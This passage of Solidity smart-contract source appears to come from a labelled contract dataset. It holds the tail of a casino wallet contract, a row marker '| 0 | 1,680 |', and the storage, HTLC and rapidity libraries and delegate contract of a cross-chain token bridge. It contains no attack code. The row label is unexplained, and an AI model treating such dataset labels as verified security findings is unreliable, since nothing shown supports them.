event Withdrawal(address _token, uint _amount);
event Deposit(address _receiver, uint _amount);
event Fund(address _receiver, uint _amount);
constructor(address _token, address _casino) public {
edgelessToken = _token;
edgelessCasino = _casino;
owner = msg.sender;
}
function () public payable {}
function withdraw(address _token, uint _amount) public onlyAdmin returns (bool _success) {
_success = false;
if (_token == address (0)) {
uint weiAmount = _amount;
if (weiAmount > address(this).balance) {
return false;
}
_success = receiver.send(weiAmount);
} else {
Token __token = Token(_token);
uint amount = _amount;
if (amount > __token.balanceOf(this)) {
return false;
}
_success = __token.transfer(receiver, amount);
}
if (_success) {
emit Withdrawal(_token, _amount);
}
}
function approve(uint _amount) public onlyAuthorized {
_approveForCasino(edgelessCasino, _amount);
}
function deposit(address _address, uint _amount, bool _chargeGas) public onlyAuthorized {
Casino __casino = Casino(edgelessCasino);
__casino.deposit(_address, _amount, _chargeGas);
emit Deposit(_address, _amount);
}
function fund(address _address, uint _amount) public onlyAuthorized returns (bool _success) {
require(_amount <= maxFundAmount);
_success = _address.send(_amount);
if (_success) {
emit Fund(_address, _amount);
}
}
function setCasinoContract(address _casino) public onlyAdmin {
edgelessCasino = _casino;
_approveForCasino(_casino, 1000000000);
}
function setMaxFundAmount(uint _amount) public onlyAdmin {
maxFundAmount = _amount;
}
function _approveForCasino(address _address, uint _amount) internal returns (bool _success) {
Token __token = Token(edgelessToken);
_success = __token.approve(_address, safeMul(_amount, oneEdg));
}
} | 0 | 1,680 |
pragma solidity ^0.4.24;
contract Owned {
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
modifier onlyOwner() {
require(msg.sender == owner, "Not owner");
_;
}
address public owner;
constructor() public {
owner = msg.sender;
}
address public newOwner;
function transferOwner(address _newOwner) public onlyOwner {
require(_newOwner != address(0), "New owner is the zero address");
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
function changeOwner(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
if (msg.sender == newOwner) {
owner = newOwner;
}
}
function renounceOwnership() public onlyOwner {
owner = address(0);
}
}
pragma solidity ^0.4.24;
contract Halt is Owned {
bool public halted = false;
modifier notHalted() {
require(!halted, "Smart contract is halted");
_;
}
modifier isHalted() {
require(halted, "Smart contract is not halted");
_;
}
function setHalt(bool halt)
public
onlyOwner
{
halted = halt;
}
}
pragma solidity ^0.4.24;
library BasicStorageLib {
struct UintData {
mapping(bytes => mapping(bytes => uint)) _storage;
}
struct BoolData {
mapping(bytes => mapping(bytes => bool)) _storage;
}
struct AddressData {
mapping(bytes => mapping(bytes => address)) _storage;
}
struct BytesData {
mapping(bytes => mapping(bytes => bytes)) _storage;
}
struct StringData {
mapping(bytes => mapping(bytes => string)) _storage;
}
function setStorage(UintData storage self, bytes memory key, bytes memory innerKey, uint value) internal {
self._storage[key][innerKey] = value;
}
function getStorage(UintData storage self, bytes memory key, bytes memory innerKey) internal view returns (uint) {
return self._storage[key][innerKey];
}
function delStorage(UintData storage self, bytes memory key, bytes memory innerKey) internal {
delete self._storage[key][innerKey];
}
function setStorage(BoolData storage self, bytes memory key, bytes memory innerKey, bool value) internal {
self._storage[key][innerKey] = value;
}
function getStorage(BoolData storage self, bytes memory key, bytes memory innerKey) internal view returns (bool) {
return self._storage[key][innerKey];
}
function delStorage(BoolData storage self, bytes memory key, bytes memory innerKey) internal {
delete self._storage[key][innerKey];
}
function setStorage(AddressData storage self, bytes memory key, bytes memory innerKey, address value) internal {
self._storage[key][innerKey] = value;
}
function getStorage(AddressData storage self, bytes memory key, bytes memory innerKey) internal view returns (address) {
return self._storage[key][innerKey];
}
function delStorage(AddressData storage self, bytes memory key, bytes memory innerKey) internal {
delete self._storage[key][innerKey];
}
function setStorage(BytesData storage self, bytes memory key, bytes memory innerKey, bytes memory value) internal {
self._storage[key][innerKey] = value;
}
function getStorage(BytesData storage self, bytes memory key, bytes memory innerKey) internal view returns (bytes memory) {
return self._storage[key][innerKey];
}
function delStorage(BytesData storage self, bytes memory key, bytes memory innerKey) internal {
delete self._storage[key][innerKey];
}
function setStorage(StringData storage self, bytes memory key, bytes memory innerKey, string memory value) internal {
self._storage[key][innerKey] = value;
}
function getStorage(StringData storage self, bytes memory key, bytes memory innerKey) internal view returns (string memory) {
return self._storage[key][innerKey];
}
function delStorage(StringData storage self, bytes memory key, bytes memory innerKey) internal {
delete self._storage[key][innerKey];
}
}
pragma solidity ^0.4.24;
contract BasicStorage {
using BasicStorageLib for BasicStorageLib.UintData;
using BasicStorageLib for BasicStorageLib.BoolData;
using BasicStorageLib for BasicStorageLib.AddressData;
using BasicStorageLib for BasicStorageLib.BytesData;
using BasicStorageLib for BasicStorageLib.StringData;
BasicStorageLib.UintData internal uintData;
BasicStorageLib.BoolData internal boolData;
BasicStorageLib.AddressData internal addressData;
BasicStorageLib.BytesData internal bytesData;
BasicStorageLib.StringData internal stringData;
}
pragma solidity ^0.4.26;
interface IRC20Protocol {
function transfer(address, uint) external returns (bool);
function transferFrom(address, address, uint) external returns (bool);
function balanceOf(address _owner) external view returns (uint);
}
pragma solidity 0.4.26;
interface IQuota {
function userLock(uint tokenId, bytes32 storemanGroupId, uint value) external;
function userBurn(uint tokenId, bytes32 storemanGroupId, uint value) external;
function smgRelease(uint tokenId, bytes32 storemanGroupId, uint value) external;
function smgMint(uint tokenId, bytes32 storemanGroupId, uint value) external;
function upgrade(bytes32 storemanGroupId) external;
function transferAsset(bytes32 srcStoremanGroupId, bytes32 dstStoremanGroupId) external;
function receiveDebt(bytes32 srcStoremanGroupId, bytes32 dstStoremanGroupId) external;
function getUserMintQuota(uint tokenId, bytes32 storemanGroupId) external view returns (uint);
function getSmgMintQuota(uint tokenId, bytes32 storemanGroupId) external view returns (uint);
function getUserBurnQuota(uint tokenId, bytes32 storemanGroupId) external view returns (uint);
function getSmgBurnQuota(uint tokenId, bytes32 storemanGroupId) external view returns (uint);
function getAsset(uint tokenId, bytes32 storemanGroupId) external view returns (uint asset, uint asset_receivable, uint asset_payable);
function getDebt(uint tokenId, bytes32 storemanGroupId) external view returns (uint debt, uint debt_receivable, uint debt_payable);
function isDebtClean(bytes32 storemanGroupId) external view returns (bool);
}
pragma solidity ^0.4.24;
interface IStoremanGroup {
function getSelectedSmNumber(bytes32 groupId) external view returns(uint number);
function getStoremanGroupConfig(bytes32 id) external view returns(bytes32 groupId, uint8 status, uint deposit, uint chain1, uint chain2, uint curve1, uint curve2, bytes gpk1, bytes gpk2, uint startTime, uint endTime);
function getDeposit(bytes32 id) external view returns(uint);
function getStoremanGroupStatus(bytes32 id) external view returns(uint8 status, uint startTime, uint endTime);
function setGpk(bytes32 groupId, bytes gpk1, bytes gpk2) external;
function setInvalidSm(bytes32 groupId, uint[] indexs, uint8[] slashTypes) external returns(bool isContinue);
function getThresholdByGrpId(bytes32 groupId) external view returns (uint);
function getSelectedSmInfo(bytes32 groupId, uint index) external view returns(address wkAddr, bytes PK, bytes enodeId);
function recordSmSlash(address wk) public;
}
pragma solidity 0.4.26;
interface ITokenManager {
function getTokenPairInfo(uint id) external view
returns (uint origChainID, bytes tokenOrigAccount, uint shadowChainID, bytes tokenShadowAccount);
function getTokenPairInfoSlim(uint id) external view
returns (uint origChainID, bytes tokenOrigAccount, uint shadowChainID);
function getAncestorInfo(uint id) external view
returns (bytes account, string name, string symbol, uint8 decimals, uint chainId);
function mintToken(address tokenAddress, address to, uint value) external;
function burnToken(address tokenAddress, address from, uint value) external;
}
pragma solidity 0.4.26;
interface ISignatureVerifier {
function verify(
uint curveId,
bytes32 signature,
bytes32 groupKeyX,
bytes32 groupKeyY,
bytes32 randomPointX,
bytes32 randomPointY,
bytes32 message
) external returns (bool);
}
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath mul overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath div 0");
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath sub b > a");
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath add overflow");
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath mod 0");
return a % b;
}
}
pragma solidity ^0.4.26;
pragma experimental ABIEncoderV2;
library HTLCTxLib {
using SafeMath for uint;
enum TxStatus {None, Locked, Redeemed, Revoked, AssetLocked, DebtLocked}
struct HTLCUserParams {
bytes32 xHash;
bytes32 smgID;
uint tokenPairID;
uint value;
uint lockFee;
uint lockedTime;
}
struct BaseTx {
bytes32 smgID;
uint lockedTime;
uint beginLockedTime;
TxStatus status;
}
struct UserTx {
BaseTx baseTx;
uint tokenPairID;
uint value;
uint fee;
address userAccount;
}
struct SmgTx {
BaseTx baseTx;
uint tokenPairID;
uint value;
address userAccount;
}
struct DebtTx {
BaseTx baseTx;
bytes32 srcSmgID;
}
struct Data {
mapping(bytes32 => UserTx) mapHashXUserTxs;
mapping(bytes32 => SmgTx) mapHashXSmgTxs;
mapping(bytes32 => DebtTx) mapHashXDebtTxs;
}
function addUserTx(Data storage self, HTLCUserParams memory params)
public
{
UserTx memory userTx = self.mapHashXUserTxs[params.xHash];
require(userTx.baseTx.status == TxStatus.None, "User tx exists");
userTx.baseTx.smgID = params.smgID;
userTx.baseTx.lockedTime = params.lockedTime;
userTx.baseTx.beginLockedTime = now;
userTx.baseTx.status = TxStatus.Locked;
userTx.tokenPairID = params.tokenPairID;
userTx.value = params.value;
userTx.fee = params.lockFee;
userTx.userAccount = msg.sender;
self.mapHashXUserTxs[params.xHash] = userTx;
}
function redeemUserTx(Data storage self, bytes32 x)
external
returns(bytes32 xHash)
{
xHash = sha256(abi.encodePacked(x));
UserTx storage userTx = self.mapHashXUserTxs[xHash];
require(userTx.baseTx.status == TxStatus.Locked, "Status is not locked");
require(now < userTx.baseTx.beginLockedTime.add(userTx.baseTx.lockedTime), "Redeem timeout");
userTx.baseTx.status = TxStatus.Redeemed;
return xHash;
}
function revokeUserTx(Data storage self, bytes32 xHash)
external
{
UserTx storage userTx = self.mapHashXUserTxs[xHash];
require(userTx.baseTx.status == TxStatus.Locked, "Status is not locked");
require(now >= userTx.baseTx.beginLockedTime.add(userTx.baseTx.lockedTime), "Revoke is not permitted");
userTx.baseTx.status = TxStatus.Revoked;
}
function getUserTx(Data storage self, bytes32 xHash)
external
view
returns (bytes32, uint, uint, uint, address)
{
UserTx storage userTx = self.mapHashXUserTxs[xHash];
return (userTx.baseTx.smgID, userTx.tokenPairID, userTx.value, userTx.fee, userTx.userAccount);
}
function addSmgTx(Data storage self, bytes32 xHash, bytes32 smgID, uint tokenPairID, uint value, address userAccount, uint lockedTime)
external
{
SmgTx memory smgTx = self.mapHashXSmgTxs[xHash];
require(value != 0, "Value is invalid");
require(smgTx.baseTx.status == TxStatus.None, "Smg tx exists");
smgTx.baseTx.smgID = smgID;
smgTx.baseTx.status = TxStatus.Locked;
smgTx.baseTx.lockedTime = lockedTime;
smgTx.baseTx.beginLockedTime = now;
smgTx.tokenPairID = tokenPairID;
smgTx.value = value;
smgTx.userAccount = userAccount;
self.mapHashXSmgTxs[xHash] = smgTx;
}
function redeemSmgTx(Data storage self, bytes32 x)
external
returns(bytes32 xHash)
{
xHash = sha256(abi.encodePacked(x));
SmgTx storage smgTx = self.mapHashXSmgTxs[xHash];
require(smgTx.baseTx.status == TxStatus.Locked, "Status is not locked");
require(now < smgTx.baseTx.beginLockedTime.add(smgTx.baseTx.lockedTime), "Redeem timeout");
smgTx.baseTx.status = TxStatus.Redeemed;
return xHash;
}
function revokeSmgTx(Data storage self, bytes32 xHash)
external
{
SmgTx storage smgTx = self.mapHashXSmgTxs[xHash];
require(smgTx.baseTx.status == TxStatus.Locked, "Status is not locked");
require(now >= smgTx.baseTx.beginLockedTime.add(smgTx.baseTx.lockedTime), "Revoke is not permitted");
smgTx.baseTx.status = TxStatus.Revoked;
}
function getSmgTx(Data storage self, bytes32 xHash)
external
view
returns (bytes32, uint, uint, address)
{
SmgTx storage smgTx = self.mapHashXSmgTxs[xHash];
return (smgTx.baseTx.smgID, smgTx.tokenPairID, smgTx.value, smgTx.userAccount);
}
function addDebtTx(Data storage self, bytes32 xHash, bytes32 srcSmgID, bytes32 destSmgID, uint lockedTime, TxStatus status)
external
{
DebtTx memory debtTx = self.mapHashXDebtTxs[xHash];
require(debtTx.baseTx.status == TxStatus.None, "Debt tx exists");
debtTx.baseTx.smgID = destSmgID;
debtTx.baseTx.status = status;
debtTx.baseTx.lockedTime = lockedTime;
debtTx.baseTx.beginLockedTime = now;
debtTx.srcSmgID = srcSmgID;
self.mapHashXDebtTxs[xHash] = debtTx;
}
function redeemDebtTx(Data storage self, bytes32 x, TxStatus status)
external
returns(bytes32 xHash)
{
xHash = sha256(abi.encodePacked(x));
DebtTx storage debtTx = self.mapHashXDebtTxs[xHash];
require(debtTx.baseTx.status == status, "Status is not locked");
require(now < debtTx.baseTx.beginLockedTime.add(debtTx.baseTx.lockedTime), "Redeem timeout");
debtTx.baseTx.status = TxStatus.Redeemed;
return xHash;
}
function revokeDebtTx(Data storage self, bytes32 xHash, TxStatus status)
external
{
DebtTx storage debtTx = self.mapHashXDebtTxs[xHash];
require(debtTx.baseTx.status == status, "Status is not locked");
require(now >= debtTx.baseTx.beginLockedTime.add(debtTx.baseTx.lockedTime), "Revoke is not permitted");
debtTx.baseTx.status = TxStatus.Revoked;
}
function getDebtTx(Data storage self, bytes32 xHash)
external
view
returns (bytes32, bytes32)
{
DebtTx storage debtTx = self.mapHashXDebtTxs[xHash];
return (debtTx.srcSmgID, debtTx.baseTx.smgID);
}
function getLeftTime(uint endTime) private view returns (uint) {
if (now < endTime) {
return endTime.sub(now);
}
return 0;
}
function getLeftLockedTime(Data storage self, bytes32 xHash)
external
view
returns (uint)
{
UserTx storage userTx = self.mapHashXUserTxs[xHash];
if (userTx.baseTx.status != TxStatus.None) {
return getLeftTime(userTx.baseTx.beginLockedTime.add(userTx.baseTx.lockedTime));
}
SmgTx storage smgTx = self.mapHashXSmgTxs[xHash];
if (smgTx.baseTx.status != TxStatus.None) {
return getLeftTime(smgTx.baseTx.beginLockedTime.add(smgTx.baseTx.lockedTime));
}
DebtTx storage debtTx = self.mapHashXDebtTxs[xHash];
if (debtTx.baseTx.status != TxStatus.None) {
return getLeftTime(debtTx.baseTx.beginLockedTime.add(debtTx.baseTx.lockedTime));
}
require(false, 'invalid xHash');
}
}
pragma solidity ^0.4.26;
library RapidityTxLib {
enum TxStatus {None, Redeemed}
struct Data {
mapping(bytes32 => TxStatus) mapTxStatus;
}
function addRapidityTx(Data storage self, bytes32 uniqueID)
internal
{
TxStatus status = self.mapTxStatus[uniqueID];
require(status == TxStatus.None, "Rapidity tx exists");
self.mapTxStatus[uniqueID] = TxStatus.Redeemed;
}
}
pragma solidity ^0.4.26;
library CrossTypes {
using SafeMath for uint;
struct Data {
HTLCTxLib.Data htlcTxData;
RapidityTxLib.Data rapidityTxData;
IQuota quota;
ITokenManager tokenManager;
IStoremanGroup smgAdminProxy;
address smgFeeProxy;
ISignatureVerifier sigVerifier;
mapping(bytes32 => uint) mapStoremanFee;
mapping(uint => mapping(uint =>uint)) mapLockFee;
mapping(uint => mapping(uint =>uint)) mapRevokeFee;
}
function bytesToAddress(bytes b) internal pure returns (address addr) {
assembly {
addr := mload(add(b,20))
}
}
function transfer(address tokenScAddr, address to, uint value)
internal
returns(bool)
{
uint beforeBalance;
uint afterBalance;
beforeBalance = IRC20Protocol(tokenScAddr).balanceOf(to);
tokenScAddr.call(bytes4(keccak256("transfer(address,uint256)")), to, value);
afterBalance = IRC20Protocol(tokenScAddr).balanceOf(to);
return afterBalance == beforeBalance.add(value);
}
function transferFrom(address tokenScAddr, address from, address to, uint value)
internal
returns(bool)
{
uint beforeBalance;
uint afterBalance;
beforeBalance = IRC20Protocol(tokenScAddr).balanceOf(to);
tokenScAddr.call(bytes4(keccak256("transferFrom(address,address,uint256)")), from, to, value);
afterBalance = IRC20Protocol(tokenScAddr).balanceOf(to);
return afterBalance == beforeBalance.add(value);
}
}
pragma solidity ^0.4.26;
contract CrossStorage is BasicStorage {
using HTLCTxLib for HTLCTxLib.Data;
using RapidityTxLib for RapidityTxLib.Data;
CrossTypes.Data internal storageData;
uint public lockedTime = uint(3600*36);
uint public smgFeeReceiverTimeout = uint(10*60);
enum GroupStatus { none, initial, curveSeted, failed, selected, ready, unregistered, dismissed }
}
pragma solidity ^0.4.26;
library HTLCDebtLib {
struct DebtAssetParams {
bytes32 uniqueID;
bytes32 srcSmgID;
bytes32 destSmgID;
}
event TransferAssetLogger(bytes32 indexed uniqueID, bytes32 indexed srcSmgID, bytes32 indexed destSmgID);
event ReceiveDebtLogger(bytes32 indexed uniqueID, bytes32 indexed srcSmgID, bytes32 indexed destSmgID);
function transferAsset(CrossTypes.Data storage storageData, DebtAssetParams memory params)
public
{
if (address(storageData.quota) != address(0)) {
storageData.quota.transferAsset(params.srcSmgID, params.destSmgID);
}
emit TransferAssetLogger(params.uniqueID, params.srcSmgID, params.destSmgID);
}
function receiveDebt(CrossTypes.Data storage storageData, DebtAssetParams memory params)
public
{
if (address(storageData.quota) != address(0)) {
storageData.quota.receiveDebt(params.srcSmgID, params.destSmgID);
}
emit ReceiveDebtLogger(params.uniqueID, params.srcSmgID, params.destSmgID);
}
}
pragma solidity 0.4.26;
interface ISmgFeeProxy {
function smgTransfer(bytes32 smgID) external payable;
}
pragma solidity ^0.4.26;
library RapidityLib {
using SafeMath for uint;
using RapidityTxLib for RapidityTxLib.Data;
struct RapidityUserLockParams {
bytes32 smgID;
uint tokenPairID;
uint value;
bytes userShadowAccount;
}
struct RapiditySmgMintParams {
bytes32 uniqueID;
bytes32 smgID;
uint tokenPairID;
uint value;
address shadowTokenAccount;
address userShadowAccount;
}
struct RapidityUserBurnParams {
bytes32 smgID;
uint tokenPairID;
uint value;
uint fee;
address shadowTokenAccount;
bytes userOrigAccount;
}
struct RapiditySmgReleaseParams {
bytes32 uniqueID;
bytes32 smgID;
uint tokenPairID;
uint value;
address origTokenAccount;
address userOrigAccount;
}
event UserLockLogger(bytes32 indexed smgID, uint indexed tokenPairID, address indexed tokenAccount, uint value, uint serviceFee, bytes userAccount);
event UserBurnLogger(bytes32 indexed smgID, uint indexed tokenPairID, address indexed tokenAccount, uint value, uint serviceFee, uint fee, bytes userAccount);
event SmgMintLogger(bytes32 indexed uniqueID, bytes32 indexed smgID, uint indexed tokenPairID, uint value, address tokenAccount, address userAccount);
event SmgReleaseLogger(bytes32 indexed uniqueID, bytes32 indexed smgID, uint indexed tokenPairID, uint value, address tokenAccount, address userAccount);
function userLock(CrossTypes.Data storage storageData, RapidityUserLockParams memory params)
public
{
uint fromChainID;
uint toChainID;
bytes memory fromTokenAccount;
(fromChainID,fromTokenAccount,toChainID) = storageData.tokenManager.getTokenPairInfoSlim(params.tokenPairID);
require(fromChainID != 0, "Token does not exist");
uint serviceFee = storageData.mapLockFee[fromChainID][toChainID];
if (address(storageData.quota) != address(0)) {
storageData.quota.userLock(params.tokenPairID, params.smgID, params.value);
}
if (serviceFee > 0) {
if (storageData.smgFeeProxy == address(0)) {
storageData.mapStoremanFee[params.smgID] = storageData.mapStoremanFee[params.smgID].add(serviceFee);
} else {
ISmgFeeProxy(storageData.smgFeeProxy).smgTransfer.value(serviceFee)(params.smgID);
}
}
address tokenScAddr = CrossTypes.bytesToAddress(fromTokenAccount);
uint left;
if (tokenScAddr == address(0)) {
left = (msg.value).sub(params.value).sub(serviceFee);
} else {
left = (msg.value).sub(serviceFee);
require(CrossTypes.transferFrom(tokenScAddr, msg.sender, this, params.value), "Lock token failed");
}
if (left != 0) {
(msg.sender).transfer(left);
}
emit UserLockLogger(params.smgID, params.tokenPairID, tokenScAddr, params.value, serviceFee, params.userShadowAccount);
}
function userBurn(CrossTypes.Data storage storageData, RapidityUserBurnParams memory params)
public
{
ITokenManager tokenManager = storageData.tokenManager;
uint fromChainID;
uint toChainID;
bytes memory fromTokenAccount;
bytes memory toTokenAccount;
(fromChainID,fromTokenAccount,toChainID,toTokenAccount) = tokenManager.getTokenPairInfo(params.tokenPairID);
require(fromChainID != 0, "Token does not exist");
address tokenScAddr = CrossTypes.bytesToAddress(toTokenAccount);
uint serviceFee;
if (tokenScAddr == params.shadowTokenAccount) {
serviceFee = storageData.mapLockFee[fromChainID][toChainID];
} else {
tokenScAddr = CrossTypes.bytesToAddress(fromTokenAccount);
if (tokenScAddr == params.shadowTokenAccount) {
serviceFee = storageData.mapLockFee[toChainID][fromChainID];
} else {
require(false, "Invalid Token account");
}
}
if (address(storageData.quota) != address(0)) {
storageData.quota.userBurn(params.tokenPairID, params.smgID, params.value);
}
tokenManager.burnToken(params.shadowTokenAccount, msg.sender, params.value);
if (serviceFee > 0) {
if (storageData.smgFeeProxy == address(0)) {
storageData.mapStoremanFee[params.smgID] = storageData.mapStoremanFee[params.smgID].add(serviceFee);
} else {
ISmgFeeProxy(storageData.smgFeeProxy).smgTransfer.value(serviceFee)(params.smgID);
}
}
uint left = (msg.value).sub(serviceFee);
if (left != 0) {
(msg.sender).transfer(left);
}
emit UserBurnLogger(params.smgID, params.tokenPairID, params.shadowTokenAccount, params.value, serviceFee, params.fee, params.userOrigAccount);
}
function smgMint(CrossTypes.Data storage storageData, RapiditySmgMintParams memory params)
public
{
storageData.rapidityTxData.addRapidityTx(params.uniqueID);
if (address(storageData.quota) != address(0)) {
storageData.quota.smgMint(params.tokenPairID, params.smgID, params.value);
}
storageData.tokenManager.mintToken(params.shadowTokenAccount, params.userShadowAccount, params.value);
emit SmgMintLogger(params.uniqueID, params.smgID, params.tokenPairID, params.value, params.shadowTokenAccount, params.userShadowAccount);
}
function smgRelease(CrossTypes.Data storage storageData, RapiditySmgReleaseParams memory params)
public
{
storageData.rapidityTxData.addRapidityTx(params.uniqueID);
if (address(storageData.quota) != address(0)) {
storageData.quota.smgRelease(params.tokenPairID, params.smgID, params.value);
}
if (params.origTokenAccount == address(0)) {
(params.userOrigAccount).transfer(params.value);
} else {
require(CrossTypes.transfer(params.origTokenAccount, params.userOrigAccount, params.value), "Transfer token failed");
}
emit SmgReleaseLogger(params.uniqueID, params.smgID, params.tokenPairID, params.value, params.origTokenAccount, params.userOrigAccount);
}
}
pragma solidity 0.4.26;
contract ReentrancyGuard {
bool private _notEntered;
constructor () internal {
_notEntered = true;
}
modifier nonReentrant() {
require(_notEntered, "ReentrancyGuard: reentrant call");
_notEntered = false;
_;
_notEntered = true;
}
}
pragma solidity ^0.4.26;
contract CrossDelegate is CrossStorage, ReentrancyGuard, Halt {
using SafeMath for uint;
bytes constant currentChainIDKey = "current";
bytes constant currentChainIDInnerKey = "chainID";
event SmgWithdrawFeeLogger(bytes32 indexed smgID, uint timeStamp, address indexed receiver, uint fee);
modifier onlyReadySmg(bytes32 smgID) {
uint8 status;
uint startTime;
uint endTime;
(status,startTime,endTime) = storageData.smgAdminProxy.getStoremanGroupStatus(smgID);
require(status == uint8(GroupStatus.ready) && now >= startTime && now <= endTime, "PK is not ready");
_;
}
function acquireReadySmgInfo(bytes32 smgID)
private
view
returns (uint curveID, bytes memory PK)
{
uint8 status;
uint startTime;
uint endTime;
(,status,,,,curveID,,PK,,startTime,endTime) = storageData.smgAdminProxy.getStoremanGroupConfig(smgID);
require(status == uint8(GroupStatus.ready) && now >= startTime && now <= endTime, "PK is not ready");
return (curveID, PK);
}
function acquireUnregisteredSmgInfo(bytes32 smgID)
private
view
returns (uint curveID, bytes memory PK)
{
uint8 status;
(,status,,,,curveID,,PK,,,) = storageData.smgAdminProxy.getStoremanGroupConfig(smgID);
require(status == uint8(GroupStatus.unregistered), "PK is not unregistered");
}
function userLock(bytes32 smgID, uint tokenPairID, uint value, bytes userAccount)
external
payable
notHalted
onlyReadySmg(smgID)
{
RapidityLib.RapidityUserLockParams memory params = RapidityLib.RapidityUserLockParams({
smgID: smgID,
tokenPairID: tokenPairID,
value: value,
userShadowAccount: userAccount
});
RapidityLib.userLock(storageData, params);
}
function userBurn(bytes32 smgID, uint tokenPairID, uint value, uint fee, address tokenAccount, bytes userAccount)
external
payable
notHalted
onlyReadySmg(smgID)
{
RapidityLib.RapidityUserBurnParams memory params = RapidityLib.RapidityUserBurnParams({
smgID: smgID,
tokenPairID: tokenPairID,
value: value,
fee: fee,
shadowTokenAccount: tokenAccount,
userOrigAccount: userAccount
});
RapidityLib.userBurn(storageData, params);
}
function smgMint(bytes32 uniqueID, bytes32 smgID, uint tokenPairID, uint value, address tokenAccount, address userAccount, bytes r, bytes32 s)
external
notHalted
{
uint curveID;
bytes memory PK;
(curveID, PK) = acquireReadySmgInfo(smgID);
RapidityLib.RapiditySmgMintParams memory params = RapidityLib.RapiditySmgMintParams({
uniqueID: uniqueID,
smgID: smgID,
tokenPairID: tokenPairID,
value: value,
shadowTokenAccount: tokenAccount,
userShadowAccount: userAccount
});
RapidityLib.smgMint(storageData, params);
uint currentChainID = getUintValue(currentChainIDKey, currentChainIDInnerKey);
bytes32 mHash = sha256(abi.encode(currentChainID, uniqueID, tokenPairID, value, tokenAccount, userAccount));
verifySignature(curveID, mHash, PK, r, s);
}
function smgRelease(bytes32 uniqueID, bytes32 smgID, uint tokenPairID, uint value, address tokenAccount, address userAccount, bytes r, bytes32 s)
external
notHalted
{
uint curveID;
bytes memory PK;
(curveID, PK) = acquireReadySmgInfo(smgID);
RapidityLib.RapiditySmgReleaseParams memory params = RapidityLib.RapiditySmgReleaseParams({
uniqueID: uniqueID,
smgID: smgID,
tokenPairID: tokenPairID,
value: value,
origTokenAccount: tokenAccount,
userOrigAccount: userAccount
});
RapidityLib.smgRelease(storageData, params);
uint currentChainID = getUintValue(currentChainIDKey, currentChainIDInnerKey);
bytes32 mHash = sha256(abi.encode(currentChainID, uniqueID, tokenPairID, value, tokenAccount, userAccount));
verifySignature(curveID, mHash, PK, r, s);
}
function transferAsset(bytes32 uniqueID, bytes32 srcSmgID, bytes32 destSmgID, bytes r, bytes32 s)
external
notHalted
onlyReadySmg(destSmgID)
{
uint curveID;
bytes memory PK;
(curveID, PK) = acquireUnregisteredSmgInfo(srcSmgID);
HTLCDebtLib.DebtAssetParams memory params = HTLCDebtLib.DebtAssetParams({
uniqueID: uniqueID,
srcSmgID: srcSmgID,
destSmgID: destSmgID
});
HTLCDebtLib.transferAsset(storageData, params);
bytes32 mHash = sha256(abi.encode(getUintValue(currentChainIDKey, currentChainIDInnerKey), uniqueID, destSmgID));
verifySignature(curveID, mHash, PK, r, s);
}
function receiveDebt(bytes32 uniqueID, bytes32 srcSmgID, bytes32 destSmgID, bytes r, bytes32 s)
external
notHalted
{
uint curveID;
bytes memory PK;
(curveID, PK) = acquireReadySmgInfo(destSmgID);
HTLCDebtLib.DebtAssetParams memory params = HTLCDebtLib.DebtAssetParams({
uniqueID: uniqueID,
srcSmgID: srcSmgID,
destSmgID: destSmgID
});
HTLCDebtLib.receiveDebt(storageData, params);
uint currentChainID = getUintValue(currentChainIDKey, currentChainIDInnerKey);
bytes32 mHash = sha256(abi.encode(currentChainID, uniqueID, srcSmgID));
verifySignature(curveID, mHash, PK, r, s);
}
function getStoremanFee(bytes32 smgID)
external
view
returns(uint fee)
{
fee = storageData.mapStoremanFee[smgID];
}
function setFees(uint origChainID, uint shadowChainID, uint lockFee, uint revokeFee)
external
onlyOwner
{
storageData.mapLockFee[origChainID][shadowChainID] = lockFee;
storageData.mapRevokeFee[origChainID][shadowChainID] = revokeFee;
}
function getFees(uint origChainID, uint shadowChainID)
external
view
returns(uint lockFee, uint revokeFee)
{
lockFee = storageData.mapLockFee[origChainID][shadowChainID];
revokeFee = storageData.mapRevokeFee[origChainID][shadowChainID];
}
function setLockedTime(uint time)
external
onlyOwner
{
lockedTime = time;
}
function getLeftLockedTime(bytes32 xHash) external view returns (uint leftLockedTime) {
leftLockedTime = storageData.htlcTxData.getLeftLockedTime(xHash);
}
function setPartners(address tokenManager, address smgAdminProxy, address smgFeeProxy, address quota, address sigVerifier)
external
onlyOwner
{
require(tokenManager != address(0) && smgAdminProxy != address(0) && sigVerifier != address(0),
"Parameter is invalid");
storageData.smgAdminProxy = IStoremanGroup(smgAdminProxy);
storageData.tokenManager = ITokenManager(tokenManager);
storageData.quota = IQuota(quota);
storageData.smgFeeProxy = smgFeeProxy;
storageData.sigVerifier = ISignatureVerifier(sigVerifier);
}
function getPartners()
external
view
returns(address tokenManager, address smgAdminProxy, address smgFeeProxy, address quota, address sigVerifier)
{
tokenManager = address(storageData.tokenManager);
smgAdminProxy = address(storageData.smgAdminProxy);
smgFeeProxy = storageData.smgFeeProxy;
quota = address(storageData.quota);
sigVerifier = address(storageData.sigVerifier);
}
function setWithdrawFeeTimeout(uint timeout)
external
onlyOwner
{
smgFeeReceiverTimeout = timeout;
}
function smgWithdrawFee(bytes32 smgID, uint timeStamp, address receiver, bytes r, bytes32 s)
external
nonReentrant
{
require(now < timeStamp.add(smgFeeReceiverTimeout), "The receiver address expired");
uint fee = storageData.mapStoremanFee[smgID];
require(fee > 0, "Fee is null");
delete storageData.mapStoremanFee[smgID];
receiver.transfer(fee);
uint curveID;
bytes memory PK;
(,,,,,curveID,,PK,,,) = storageData.smgAdminProxy.getStoremanGroupConfig(smgID);
uint currentChainID = getUintValue(currentChainIDKey, currentChainIDInnerKey);
verifySignature(curveID, sha256(abi.encode(currentChainID, timeStamp, receiver)), PK, r, s);
emit SmgWithdrawFeeLogger(smgID, now, receiver, fee);
}
